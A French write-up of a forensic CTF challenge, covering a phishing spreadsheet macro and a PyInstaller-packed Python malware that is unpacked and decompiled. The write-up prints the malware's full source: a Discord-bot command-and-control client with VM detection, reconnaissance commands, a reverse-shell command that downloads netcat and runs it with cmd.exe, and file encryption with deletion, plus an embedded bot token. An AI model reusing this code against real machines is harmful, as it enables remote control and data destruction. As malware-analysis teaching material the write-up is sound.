Midnight Flag CTF - SecretaryCompromise 1 & 2

Introduction

Le Midnight Flag est un CTF organisé par les étudiants de l’ESNA, pour cette troisième édition avons participé (et remporté) la finale avec mon équipe @Perce, @Voydstack et @Mizu.
C’était un super CTF, avec une bonne ambiance et de très bons challenge, l’orga était au top ! ❤️
Je tenais à faire un Writeup pour un challenge de Forensic que j’ai fortement apprécié et dont nous avons été les seuls à réussir la deuxième étape.

SecretaryCompromise - 1/2

  • Nom : SecretaryCompromise
  • Catégorie : Forensic
  • Résolutions : 6
  • Auteur : Nemo

Le challenge démarre avec un fichier image.vmdk, une machine virtuelle qu’il faut importer. Une fois fait, nous démarrons la machine et nous nous retrouvons sur un environnement Windows.
Rapidement, nous observons que la corbeille n’a pas été vidée et qu’elle contient des fichiers que nous pouvons restaurer, ce que nous allons faire pour un fichier : information.ods

Directement, nous pouvons penser à une infection par Macro Word vu que l’énoncé parle de phishing. Pour inspecter les macros, il suffit de les éditer via l’interface Office.

L’affichage des macros présentes sur le document confirme notre théorie et nous fournit une partie du flag, le nom du binaire lancé par l’attaquant : maintenanceservice.exe.
Nous voyons bien sur cette Macro qu’une fois lancée, celle-ci va télécharger un binaire sur la machine de la victime et l’enregistrer dans C:\Users\judy.malasyia\AppData\Local\Temp\.

Maintenant que nous savons comment la victime a été compromise et le nom de l’exécutable malveillant, il faut retrouver son adresse mail.
La première chose qui me vient en tête est de trouver des comptes en ligne enregistrés dans le navigateur. En effet, la victime est connectée sur son compte Microsoft Edge.

Nous avons toutes les informations nécessaires pour former le flag : MCTF{[email protected]} 🔥

SecretaryCompromise - 2/2

  • Nom : SecretaryCompromise - 2/2
  • Catégorie : Forensic
  • Résolutions : 1
  • Auteur : Nemo

Pour cette deuxième partie, nous allons récupérer le malware sur la machine afin de comprendre comment celui-ci fonctionne.

Avec une simple commande strings, il est possible de récupérer des informations sur l’exécutable et de comprendre que celui-ci est du Python packé.

» strings maintenanceservice.exe 

[...]
b_ssl.pyd
baiohttp\_helpers.cp38-win_amd64.pyd
baiohttp\_http_parser.cp38-win_amd64.pyd
baiohttp\_http_writer.cp38-win_amd64.pyd
baiohttp\_websocket.cp38-win_amd64.pyd
bfrozenlist\_frozenlist.cp38-win_amd64.pyd
blibcrypto-1_1.dll
blibffi-7.dll
blibssl-1_1.dll
bmultidict\_multidict.cp38-win_amd64.pyd
bpyexpat.pyd
bpython38.dll
bselect.pyd
bunicodedata.pyd
byarl\_quoting_c.cp38-win_amd64.pyd
xbase_library.zip
xcertifi\py.typed
zPYZ-00.pyz
4python38.dll

Nous allons donc en premier temps chercher à l’unpacker pour obtenir son code original, avec une rapide recherche nous trouvons l’outil PyInstaller Extractor qui va nous permettre d’extraire les fichiers python de l’exécutable.

» python3 pyinstxtractor.py ./maintenanceservice.exe 
[+] Processing ./maintenanceservice.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 8964700 bytes
[+] Found 81 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: legit.pyc
[+] Found 467 files in PYZ archive
[+] Successfully extracted pyinstaller archive: ./maintenanceservice.exe

Nous avons donc maintenant tous les fichiers de l’exécutable, incluant le code source original, les librairies et les dll. Le fichier legit.pyc semble évidemment plus intéressant que les autres.
Les fichiers .pyc sont du Bytecode python, ce qui veut dire que nous n’avons pas encore le code en clair. Pour décompiler ces fichiers, nous allons avoir besoin de l’outil uncompyle6.

» uncompyle6 -o legit.py legit.pyc               
legit.pyc -- 
# Successfully decompiled file
# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.8.10 (default, May 26 2023, 14:05:08) 
# [GCC 9.4.0]
# Embedded file name: legit.py
import platform, discord, re, os, subprocess
from subprocess import Popen, PIPE
from discord.ext import commands
import requests, binascii
from Crypto.Cipher import AES
DISCORD_SERVER = 'https://discord.gg/3WcxAxvpJA'
BOT_TOKEN = 'MTA2MjgwNjM5MjE4MTg4Mjg4MA.GWt5E_.8IjihHPNcEBXZDvIbJVxqWwRazb24PnawDLhzg'
client = commands.Bot(command_prefix='!', intents=(discord.Intents.all()), help_command=None)
KEY = ''
IV = ''

def isVM():
    rules = [
     'Virtualbox', 'vmbox', 'vmware']
    command = subprocess.Popen('systeminfo | findstr  "System Info"', stderr=(subprocess.PIPE), stdin=(subprocess.DEVNULL),
      stdout=(subprocess.PIPE),
      shell=True,
      text=True,
      creationflags=134217728)
    out, err = command.communicate()
    command.wait()
    for rule in rules:
        if re.search(rule, out, re.IGNORECASE):
            return             return True
        return False


@client.event
async def on_ready():
    global IV
    global KEY
    _key = [
     '1', '2', '5', '7']
    for id in _key:
        channel = discord.utils.get((client.get_all_channels()), name=f"key-{id}")
        async for message in channel.history(limit=200):
            KEY = KEY + str(message.content)

else:
    KEY = KEY.strip()
    _iv = [
     '0', '3', '4', '6']
    for id in _iv:
        channel = discord.utils.get((client.get_all_channels()), name=f"key-{id}")
        async for message in channel.history(limit=200):
            IV = IV + str(message.content)

else:
    IV = IV.strip()
    print(KEY)
    print(IV)


@client.command()
async def getHostname(ctx):
    result = platform.node()
    await ctx.send(f"```{str(result)}```")


@client.command()
async def getIP(ctx):
    result = subprocess.run(['cmd.exe', '/c', 'curl ifconfig.me'], capture_output=True, text=True)
    await ctx.send(f"```{str(result.stdout)}```")


@client.command()
async def getUsername(ctx):
    result = os.getlogin()
    await ctx.send(f"```{str(result)}```")


@client.command()
async def getOS(ctx):
    result = platform.platform()
    await ctx.send(f"```{str(result)}```")


@client.command()
async def ls(ctx):
    result = subprocess.run(['cmd.exe', '/c', 'dir'], capture_output=True, text=True)
    await ctx.send(f"```{str(result.stdout)}```")


@client.command()
async def ls_L(ctx):
    result = subprocess.run(['ls', '-l'], capture_output=True, text=True)
    await ctx.send(f"```{str(result)}```")


@client.command()
async def cd(ctx, arg):
    cmd = f"chdir {str(arg)}"
    result = subprocess.run(['cmd.exe', '/c', cmd], capture_output=True, text=True)
    await ctx.send(f"```{str(result.stdout)}```")


@client.command()
async def revshell(ctx, arg, arg2):
    try:
        r = requests.get('https://github.com/int0x33/nc.exe/raw/master/nc64.exe', allow_redirects=True, verify=False)
        open(os.environ['temp'] + '\\Windows-Explorer.exe', 'wb').write(r.content)
        await ctx.send(f"```nc64.exe downloaded in {os.environ['temp']}\\Windows-Explorer.exe```")
        ncPath = f"{os.environ['temp']}\\Windows-Explorer.exe"
        cmd = f"{ncPath} {arg} {arg2} -e cmd.exe"
        ip = subprocess.run(['cmd.exe', '/c', 'curl ifconfig.me'], capture_output=True, text=True)
        await ctx.send(f"```- ReverseShell run on {arg} : {arg2} from [{str(ip.stdout)}] ...```")
        subprocess.run(['cmd.exe', '/c', cmd], capture_output=True, text=True)
        await ctx.send('```- ReverseShell close```')
        delete = f"del {os.environ['temp']}\\Windows-Explorer.exe"
        subprocess.run(['cmd.exe', '/c', delete], capture_output=True, text=True)
        await ctx.send('```Delete Windows-Explorer.exe sucessfull !```')
    except:
        await ctx.send('```ReverseShell impossible```')


@client.command()
async def getBits(ctx):
    result = platform.architecture()[0]
    await ctx.send(f"```{str(result)}```")


@client.command()
async def test(ctx):
    pass


@client.command()
async def encF(ctx, arg):
    file_path = arg
    key = binascii.unhexlify(KEY)
    iv = binascii.unhexlify(IV)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    with open(file_path, 'rb') as (f):
        plaintext = f.read()
    plaintext += (16 - len(plaintext) % 16) * bytes([16 - len(plaintext) % 16])
    ciphertext = cipher.encrypt(plaintext)
    with open(file_path + '.enc', 'wb') as (f):
        f.write(ciphertext)
    delete = f"del {arg}"
    subprocess.run(['cmd.exe', '/c', delete], capture_output=True, text=True)
    await ctx.send(f"```File {arg} encrypted.```")


if __name__ == '__main__':
    print('MAIN')
    client.run(BOT_TOKEN)

Le code est assez clair, il s’agit du code d’un bot Discord qui sert de Command & Control à l’attaquant. Il est possible d’apercevoir au début une invitation Discord sur le serveur de l’attaquant que nous pouvons rejoindre https://discord.gg/3WcxAxvpJA.

Nous retrouvons la commande qui a été exécutée afin de chiffrer notre fameux fichier. D’après la fonction encF qui a été appelée, le fichier a été chiffré avec un chiffrement AES CBC nécessitant une clé et un IV. Ceux-ci sont récupérés sur le serveur Discord par le bot dans plusieurs channels différents.

@client.command()
async def encF(ctx, arg):
    file_path = arg
    key = binascii.unhexlify(KEY)
    iv = binascii.unhexlify(IV)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    with open(file_path, 'rb') as (f):
        plaintext = f.read()
    plaintext += (16 - len(plaintext) % 16) * bytes([16 - len(plaintext) % 16])
    ciphertext = cipher.encrypt(plaintext)
    with open(file_path + '.enc', 'wb') as (f):
        f.write(ciphertext)
    delete = f"del {arg}"
    subprocess.run(['cmd.exe', '/c', delete], capture_output=True, text=True)
    await ctx.send(f"```File {arg} encrypted.```")

Nous pouvons alors les récupérer et faire un script inverse qui va calculer la clé et l’IV et déchiffrer notre image.

#!/usr/bin/python3

from Crypto.Cipher import AES

keys = [
'fcf0ed2b',
'28436587',
'ed2bb1b0',
'b1b018fd',
'72e9e16f',
'0e95eda7',
'8095d4ca',
'f4385ca8'
]

with open("important.png.enc", "rb") as f:
    ciphertext = f.read()

    key = bytes.fromhex(keys[1] + keys[2] + keys[5] + keys[7])
    iv = bytes.fromhex(keys[0] + keys[3] + keys[4] + keys[6])
    cipher = AES.new(key, AES.MODE_CBC, iv)


    plaintext = cipher.decrypt(ciphertext)
    with open("important.png", "wb") as f:
        f.write(plaintext)

Flag : MCTF{d1sc0rd_s3rv3r_as_a_c2}

Conclusion

Merci d’avoir lu, c’était vraiment un challenge sympa qui abordait quelques notions de reverse de malware packé en python. Encore un énorme GG pour le taff fourni par les étudiants de l’ESNA pour cette finale et @Nemo pour le challenge. Je voudrais aussi remercier @Voydstack pour m’avoir aidé sur ce challenge !